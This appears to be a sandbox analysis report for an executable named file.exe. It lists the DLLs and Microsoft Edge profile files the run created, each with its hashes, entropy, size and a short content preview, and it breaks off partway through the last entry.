SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\01238424-2243-4ee8-9a62-e77df069ceb9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08978141443857
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW3di1zNtPMekzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynVlkzItSmd6qE7lFoC
MD5:	B4E45D54659520A3B67FAA5CC0D87D07
SHA1:	41C708D03214EB73C42D4DF49B8DC8E43C9C8B8F
SHA-256:	B538EBCAB66FF164BDA5A1F23D267709A167D4A25A9CDB519881C063A45E32A0
SHA-512:	2F4EAEFF32A4C3E58C2F4329EA23BDB2672B5E19D3EF6E4E106B87024B654678E15A06BEB7D2BC6EEF214B14AE6819ADE95CC96C09E668BA43ABB220E12CFD17
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0ac5a90d-a51e-49c1-a333-f32e9d51b770.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46310
Entropy (8bit):	6.088263015447849
Encrypted:	false
SSDEEP:	768:0MkbJrT8IeQc5dKk3ei1zNtlud95H8CVLFkPI5IQmxgpCio/JDSgzMMd6qD47u3t:0Mk1rT8H1KrdtIQ9Fo/tSmd6qE7s
MD5:	C61E0DB78D3F207CC75200072415006E
SHA1:	AF98D49D869B8468E07637F28429A8509EFAAB2A
SHA-256:	A4E51EAFF7DC32DC0EA9C2295CBEF98E30AAACE457C11656A1D775D89ABEA3BE
SHA-512:	4F029EE57F04A1592175AC86B29055CB2471FBBC7678A9D981A148B77064802D721744D1074D30E83BD56BE7AEF0E973822317D3DD46E2E156E90BFE3116D32E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377230852492547","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"2202681e-e3be-49f7-9ba6-4b89058ef241"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1fc9f490-cc85-47df-b0c0-71bbd5ba57ed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44902
Entropy (8bit):	6.095635817755439
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW3vi1zNtludN911gEFlKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynEd7KtSmd6qE7lFoC
MD5:	84FEFAA49F8425528D3384FC3F1AEC02
SHA1:	FBA900B7E732A03455E116AE8C7F455B234ADFC3
SHA-256:	FCB7BEB7D1F4AD2DB4741745A798E98E138353A3C9A7D75CF616E4B3416E8302
SHA-512:	D9B101C2920FF196A736944F0E70D50A3ADC5C892C860BFD1CF00F45109B89B6425C3104A512522A590C23CBEFAE9D1051DBA9F9BBEC14819309FD4479C40467
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\72eb18ab-f904-47db-943a-28e8ac3d7c96.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46434
Entropy (8bit):	6.087918553668022
Encrypted:	false
SSDEEP:	768:0MkbJrT8IeQc5A9krei1zNtlu05H8CVLFkPI5IQmxgpCio/JDSgzMMd6qD47u30e:0Mk1rT8Ho9FIIQ9Fo/tSmd6qE7s
MD5:	ADEA23052033086F7103C61A12FB1008
SHA1:	FC3975D4814606BCE95462A1EDA0B0E57141C48E
SHA-256:	71B44148E015AD88344A92E548D140856790D89374447B1E0CCE29B432F108E0
SHA-512:	D23E21055E3603A20D3418779D700A86AD5E7B30B8CB4C13ED169F16C4CF1576F3F6010B122565B7EDD19ADCF5FA8AF214A954F2DB23FFD5E414F125084EA986
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377230852492547","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"2202681e-e3be-49f7-9ba6-4b89058ef241"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\db46a00c-7b86-42df-92a3-47c9b2ee67de.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6747C703-13C8.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45371561774689334
Encrypted:	false
SSDEEP:	6144:bzcNoeOKHCKVad1z6sTRg9qf0aHSTIbJ:sCKwdlT3
MD5:	9B06515B29A80CD8DC6D4B58A4B86A34
SHA1:	7647DA109F3B8D7603D542F51257E14551E22B78
SHA-256:	9040CB5B70BDF09B3C1E07F9222CF6C374C32FAD5BD1111CE9EF91EB9B7D1925
SHA-512:	CFC02D8421974CC9D6005DDF98AFEBAE8B69D9AA12CE9D3326B3080ECDC1B8292B93BC21DEEB276F46D90C004D57D9F6001A9C927C337758D712447C1162292C
Malicious:	false
Preview:	...@..@...@.....C.].....@...............X...x...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".imnjiu20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0db8e4d9-eb0b-4b2e-b908-336305f9fdd6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\27fd30ec-9e36-433f-98a2-945f47d43f09.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14163
Entropy (8bit):	5.291842438586766
Encrypted:	false
SSDEEP:	192:st+J99QTryDiuabatSuypNsFCZaFvrEgQu0kKNd/87bV+F01QwBf3PPDYJ:st+PGQSu4NssZCDVhbGCQwx3o
MD5:	5568D6784C973D6A5B8E92D6A89A8DD2
SHA1:	7642347C76349464B4DD3EF3A9CB860BD59E0D0B
SHA-256:	8FB614D204D8DEA5F8617C3B65A2D49FF5B7BA7CAB7B0036931A095D9DFA8A2C
SHA-512:	06DF86E761A639DDF65D575822822CF1658C17E87D05C36FBF0C575F06534D2B09F56206F7BEBE53D7A96681865A2DE2B358382975C9F7F9D3749B6D154AF169
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377230852423420","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3e299769-72dc-4d56-8622-27a352b71d38.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\54a60eb8-67ca-4666-8310-a8bf812d82eb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561093542565389
Encrypted:	false
SSDEEP:	768:vr0lvwWR07pLGLPyIW5wTzf4uC8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPHJRqIHEU:vwtwO4cPyIWaTzfhCu1jamJRXFGn08f6
MD5:	02D11EFA4721837A1F5258563609D08E
SHA1:	6913F0967B6520C265FB4BDFB69A207CFFD51E2E
SHA-256:	9AD2725FF71EFF46D2A76BAE692258199F36030D323F74643132597E3011F5A0
SHA-512:	305F8D39B65A7BA50911EFBBCD93AF91A63B1515AEF442C5B01275870A4B8240D68DEC19B6DD7CAE76AAFE3867E4C0F4B72EFCBD7D071C88FC33E12355AF7BE3
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377230851320784","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377230851320784","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\60348358-04ce-4b72-9f77-dd4a8d6bf8e5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.55463931717392
Encrypted:	false
SSDEEP:	768:vr0lvwWR07pLGLPyIW5wTzf4uC8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPFqIHEc9R:vwtwO4cPyIWaTzfhCu1jakXFGn08f0th
MD5:	0062A3AAE435BBDEE2E1BFBC482A534B
SHA1:	6CD43C68FDDA0E34C9E12E01E9869FD761EA637D
SHA-256:	A524C72EFAB2DED794F27751D944777C9C0D4B9C3329EEA595BFABD6604F8F85
SHA-512:	E36FAC84369A7580A1E41ED4B843DF8DC683D964E1FC381A12E3AC5E71704C450BC8EA1FAD3F3EFF3371C219E1361FB382F0080002DC3F43EA2DF7BB366BA9E4
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377230851320784","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377230851320784","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\747fedd1-1e99-44e4-9894-6748faff373c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
